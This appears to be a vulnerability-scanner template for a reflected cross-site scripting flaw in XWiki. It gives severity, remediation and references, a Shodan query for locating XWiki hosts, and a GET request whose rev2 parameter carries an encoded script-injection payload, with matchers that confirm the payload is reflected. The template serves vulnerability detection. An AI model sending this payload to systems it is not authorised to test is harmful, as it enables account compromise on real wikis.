XWiki - Cross-Site Scripting

id: CVE-2026-40105

info:
  name: XWiki - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki is vulnerable to reflected Cross-Site Scripting (XSS) via the `viewer=changes` endpoint. The `rev2` parameter is not properly sanitised before being rendered in the response, allowing an attacker to inject arbitrary JavaScript. Affects XWiki versions prior to the patched release.
  impact: |
    Attackers can execute JavaScript in users' browsers, potentially compromising admin accounts and the entire XWiki instance.
  remediation: |
    Update to a version later than 17.10.0 or apply the patch to templates/changesdoc.vm manually.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-w4fj-87j5-f25c
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40105
    - https://jira.xwiki.org/browse/XWIKI-22481
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-40105
    epss-score: 0.00549
    epss-percentile: 0.41923
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: xwiki
    product: xwiki-platform
    shodan-query: http.title:"XWiki"
  tags: cve,cve2026,xwiki,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/view/Sandbox/?viewer=changes&rev1=9.1&rev2=xar%3Aorg.xwiki.platform%3Axwiki-platform-distribution-flavor-common%2F17.6.0q1che%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Evfu80q44msz&form_token=test&language=en"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "<h1>Changes for page"
          - "From version"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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